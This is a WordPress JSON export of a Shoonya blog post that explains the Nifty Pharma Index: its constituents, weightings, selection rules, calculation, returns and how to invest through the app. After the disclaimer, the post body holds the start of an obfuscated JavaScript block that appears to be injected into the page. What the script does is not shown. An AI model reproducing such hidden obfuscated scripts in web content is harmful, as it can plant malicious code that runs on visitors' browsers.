{"id":11119,"date":"2025-01-30T06:06:58","date_gmt":"2025-01-30T06:06:58","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=11119"},"modified":"2025-03-05T06:44:07","modified_gmt":"2025-03-05T06:44:07","slug":"nifty-pharma-index","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/nifty-pharma-index\/","title":{"rendered":"Complete Guide to Nifty Pharma Index: From Selection to Investment Process"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/nifty-pharma-index\/#NIFTY_PHARMA_Index_%E2%80%93_Overview_Constituents\" >NIFTY PHARMA Index &#8211; Overview &amp; Constituents&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/nifty-pharma-index\/#Selection_Criteria\" >Selection Criteria<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/nifty-pharma-index\/#Factors_Affecting_the_NIFTY_PHARMA_Index\" >Factors Affecting the NIFTY PHARMA Index<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/nifty-pharma-index\/#NIFTY_PHARMA_Index_Calculation_Method\" >NIFTY PHARMA Index Calculation Method<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/nifty-pharma-index\/#Performance_and_Returns\" >Performance and Returns<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/nifty-pharma-index\/#Risk_and_Volatility\" >Risk and Volatility<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/nifty-pharma-index\/#How_to_Invest_in_the_NIFTY_PHARMA_INDEX\" >How to Invest in the NIFTY PHARMA INDEX?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/nifty-pharma-index\/#Conclusion\" >Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/nifty-pharma-index\/#Nifty_Pharma_Index_FAQs\" >Nifty Pharma Index | FAQs<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/\">Investing<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/indices\/\">Indices<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Complete Guide to Nifty Pharma Index: From Selection to Investment Process<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The pharmaceutical sector has been booming in India with the country being recognised as one of the most affordable places for healthcare across the globe. India has been emerging as a hub for medical tourism especially in South-East Asia. The pharma sector has immense cost benefit in India when compared to the developed nations which is pushing the industry above. There are multiple companies which are operating in this industry and are favourites of investors because of the generous returns they offer. However, to track the entire pharma industry, the <strong>Nifty Pharma Index<\/strong> can be the one-stop solution.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This article will revolve around the index, its constituents, selection criteria, investment process, returns, risks and more.&nbsp;<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\" id=\"0-nifty-pharma-index-overview-amp-constituents-\"><span class=\"ez-toc-section\" id=\"NIFTY_PHARMA_Index_%E2%80%93_Overview_Constituents\"><\/span>NIFTY PHARMA Index &#8211; Overview &amp; Constituents&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The<strong> Nifty Pharma index<\/strong> reflects the performance of the top 20 healthcare or pharmaceutical companies listed on the National Stock Exchange. It is a total return index which is computed on the basis of free-float market capitalization.&nbsp; The index helps investors understand how the overall pharmaceutical industry is performing by analysing the performance of the twenty stocks it is constituted of.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>nifty pharma index stocks list<\/strong> includes \u2013 (As of 24 January 2025)<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td>Abbott India Ltd.<\/td><td>Granules India Ltd.<\/td><\/tr><tr><td>Ajanta Pharmaceuticals Ltd.<\/td><td>Ipca Laboratories Ltd.<\/td><\/tr><tr><td>Alkem Laboratories Ltd.<\/td><td>J.B. Chemicals &amp; Pharmaceuticals Ltd.<\/td><\/tr><tr><td>Aurobindo Pharma Ltd.<\/td><td>Laurus Labs Ltd.<\/td><\/tr><tr><td>Biocon Ltd.<\/td><td>Lupin Ltd.<\/td><\/tr><tr><td>Cipla Ltd.<\/td><td>Mankind Pharma Ltd.<\/td><\/tr><tr><td>Divi&#8217;s Laboratories Ltd.<\/td><td>NATCO Pharma Ltd.<\/td><\/tr><tr><td>Dr Reddy&#8217;s Laboratories Ltd.<\/td><td>Sun Pharmaceutical Industries Ltd.<\/td><\/tr><tr><td>Gland Pharma Ltd.<\/td><td>Torrent Pharmaceuticals Ltd.<\/td><\/tr><tr><td>Glenmark Pharmaceuticals Ltd.<\/td><td>Zydus Lifesciences Ltd.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The top ten stocks by weightage \u2013&nbsp;<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Sun Pharmaceuticals Industries Ltd. \u2013 24.74%<\/li>\n\n\n\n<li>Dr. Reddy\u2019s Laboratories Ltd. \u2013 10.29%<\/li>\n\n\n\n<li>Cipla Ltd. \u2013 10.21%<\/li>\n\n\n\n<li>Divi\u2019s Laboratories Ltd. \u2013 9.41%<\/li>\n\n\n\n<li>Lupin Ltd. \u2013 6.90%<\/li>\n\n\n\n<li>Aurobindo Pharma Ltd. \u2013 4.53%<\/li>\n\n\n\n<li>Torrent Pharmaceuticals Ltd. \u2013 3.83%<\/li>\n\n\n\n<li>Alkem Laboratories Ltd. \u2013 3.63%<\/li>\n\n\n\n<li>Mankind Pharma Ltd. \u2013 3.63%<\/li>\n\n\n\n<li>Zydus Lifesciences Ltd. 2.95%<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"1-selection-criteria\"><span class=\"ez-toc-section\" id=\"Selection_Criteria\"><\/span>Selection Criteria<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The stock selection criteria for the equity index <strong>Nifty Pharma index<\/strong> include \u2013&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>During the review, the company under review must be a part of the Nifty 500 universe<\/li>\n\n\n\n<li>If the eligible stocks from the healthcare sector of the nifty 500 universe fall short of 20 then the remaining stocks can be taken from the top 800 stocks ranked in the Nifty universe as per daily average turnover and average daily full market capitalization of the preceding six months of Nifty 500 rebalancing date.&nbsp;<\/li>\n\n\n\n<li>Undoubtedly all the stocks have to be from the pharmaceutical industry<\/li>\n\n\n\n<li>The companies whose stocks are being picked must have been traded at least 90% time in the previous six months<\/li>\n\n\n\n<li>The company must have been listed one month before the cutoff date<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"2-factors-affecting-the-nifty-pharma-index\"><span class=\"ez-toc-section\" id=\"Factors_Affecting_the_NIFTY_PHARMA_Index\"><\/span>Factors Affecting the NIFTY PHARMA Index<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The factors which affect the <strong>Nifty Pharma index<\/strong> are \u2013&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Research and development: <\/strong>One of the most crucial factors that determines the pharmaceutical sector&#8217;s performance is how much research and development is being carried on in the industry. With the introduction of new drugs, share prices jump usually while if any drug fails, the stocks drop. Thus, this factor plays a pivotal role in moving the index on either side.&nbsp;<\/li>\n\n\n\n<li><strong>Demand and supply:<\/strong> The next important factor that affects the index is the demand and supply ratio. If the demand for pharmaceutical products suddenly skyrockets, like in the case of an epidemic or pandemic, then the stocks of the pharma companies also rise which in turn takes the index value up and if supply is more than the demand, then the opposite scenario takes place as stock of medicines and other pharma products piles up leading to losses.&nbsp;<\/li>\n\n\n\n<li><strong>Government Intervention:<\/strong> This sector is highly regulated for all the right reasons and thus any changes in the government policies for this sector can make a significant impact on the stock prices, and thus the index value as well.&nbsp;<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"3-nifty-pharma-index-calculation-method\"><span class=\"ez-toc-section\" id=\"NIFTY_PHARMA_Index_Calculation_Method\"><\/span>NIFTY PHARMA Index Calculation Method<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">For<strong> <\/strong>the<strong> Nifty Pharma index,<\/strong> the stocks are selected based on periodic capped free-float market capitalization.&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>After the selection procedure, the final choice of 20 stocks depends on the free-float market capitalization. Stocks available on the futures and options segment are given preference for final selection.&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The current market price of the 20 stocks of the index is multiplied by the number of free-float shares, which excludes shares held by promoters, government, trusts, etc. This results in the weighted market cap of the stocks.&nbsp;&nbsp;<\/li>\n\n\n\n<li>Then weighted market capitalization of all 20 stocks is taken into account and summed up. For assigning weights, it is taken into account that no individual stock should have a weight of more than 33% and the top 3 stocks\u2019 weights combined must not exceed 62% during the time of rebalancing.&nbsp;<\/li>\n\n\n\n<li>Then the result is divided by the base period market capitalization to derive the index value.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Nifty Pharma Index Value =&nbsp; (Weighted Market Cap\/ Base Market Cap) *1000<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"4-performance-and-returns\"><span class=\"ez-toc-section\" id=\"Performance_and_Returns\"><\/span>Performance and Returns<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Here are the returns for different periods &#8211;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Price Returns<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Since Inception: 14.03%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>YTD: 39.10%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1 Year:&nbsp; 39.10%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>5 Year: 23.83%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>QTD: 0.50%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Total Returns<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Since Inception: 15.05%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>YTD: 40.03%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1 Year:&nbsp; 40.03%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>5 Year: 24.75%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>QTD: 0.52%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em><a href=\"https:\/\/onelink.to\/aw8e9m\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Enjoy investing in the top stocks of the Nifty 500 universe with the Nifty Pharma index on Shoonya App!<\/mark><\/a><\/em><\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"5-risk-and-volatility\"><span class=\"ez-toc-section\" id=\"Risk_and_Volatility\"><\/span>Risk and Volatility<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Since Nifty Pharma is investing in a single sector which is healthcare, the diversification is less however, since the index is made of twenty stocks, the risk is spread out but cannot be ignored.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The standard deviation of the index for 1 year stands at 14.63% while that for 5 years stands at 19.58% and since inception, it is as high as 19.86%.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The beta compared to the Nifty 50 is quite low which represents the volatility. For 1 year the beta is 0.50 which means the volatility of the <strong>Nifty Pharma index<\/strong> is quite lower than nifty 50.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"6-how-to-invest-in-the-nifty-pharma-index\"><span class=\"ez-toc-section\" id=\"How_to_Invest_in_the_NIFTY_PHARMA_INDEX\"><\/span>How to Invest in the NIFTY PHARMA INDEX?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">You can invest in the <strong>Nifty Pharma Index<\/strong> using ETFs, or index funds, or you can trade them on the trading platform. You can also trade Nifty Pharma Index futures, and options in the F&amp;O section of Shoonya\u2019s app. To do so, you have to add the index to your watchlist following these steps \u2013&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Open the <a href=\"https:\/\/onelink.to\/aw8e9m\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Shoonya app<\/mark><\/a>.<\/li>\n\n\n\n<li>Head to the \u201cWatchlist\u201d tab located at the bottom of your screen.<\/li>\n\n\n\n<li>In the search bar, type \u201cNIFTY IN\u201d or \u201cSENSEX IN\u201d and add it to the watch list, and then you will be able to see the indices.<\/li>\n\n\n\n<li>Once you find your desired index, click on the add option given on the right side.<\/li>\n\n\n\n<li>Now you can see the index on the watchlist.&nbsp;<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"7-conclusion\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span>Conclusion<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">So, if you are interested in the pharmaceutical sector for investments, this index is something you need to add to your watchlist. The <strong>Nifty Pharma Index<\/strong> can help you track the entire market at your fingertips, and make informed investment decisions.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"8-nifty-pharma-index-faqs\"><span class=\"ez-toc-section\" id=\"Nifty_Pharma_Index_FAQs\"><\/span>Nifty Pharma Index | FAQs<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1738143477539\"><strong class=\"schema-faq-question\"><strong>What is the periodic capped free-float market capitalization Index?<\/strong><\/strong> <p class=\"schema-faq-answer\">The Nifty Pharma index is a periodic capped free-float market capitalization index. The periodic capped free-float market cap is determined by using a capped weightage for the market cap calculation over the free-float market cap.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1738143478363\"><strong class=\"schema-faq-question\"><strong>When NIFTY PHARMA INDEX is rebalanced?<\/strong><\/strong> <p class=\"schema-faq-answer\">The Nifty Pharma index is rebalanced twice a year. The calculation frequency is real-time.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1738143570612\"><strong class=\"schema-faq-question\"><strong>What is the PE of the NIFTY PHARMA index currently?<\/strong><\/strong> <p class=\"schema-faq-answer\">The current PE of the NIFTY PHARMA index is 37.04.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1738143577237\"><strong class=\"schema-faq-question\"><strong>When Nifty Pharma was launched?<\/strong><\/strong> <p class=\"schema-faq-answer\">The Nifty Pharma index was launched on 1 July 2005.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1738143587878\"><strong class=\"schema-faq-question\"><strong>What is the base value of the index?<\/strong><\/strong> <p class=\"schema-faq-answer\">The base value used for index calculation is 1000.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/www.ibef.org\/industry\/pharmaceutical-india\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">IBEF<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\"><strong>Disclaimer<\/strong><\/mark>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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India has been emerging as a hub for medical tourism especially in South-East Asia. The pharma sector has immense cost benefit in India when compared to the developed nations which &hellip; <a href=\"https:\/\/shoonya.com\/blog\/nifty-pharma-index\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Complete Guide to Nifty Pharma Index: From Selection to Investment Process&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":11132,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[5711],"tags":[6545,6544,6546,6547,6549,6548,6550],"class_list":["post-11119","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-indices","tag-nifty-pharma","tag-nifty-pharma-index","tag-nifty-pharma-stocks","tag-nifty-pharma-stocks-list","tag-nse-pharma-index","tag-pharma-etf","tag-pharmaceutical-index"],"acf":[],"yoast_head":"<!-- This site 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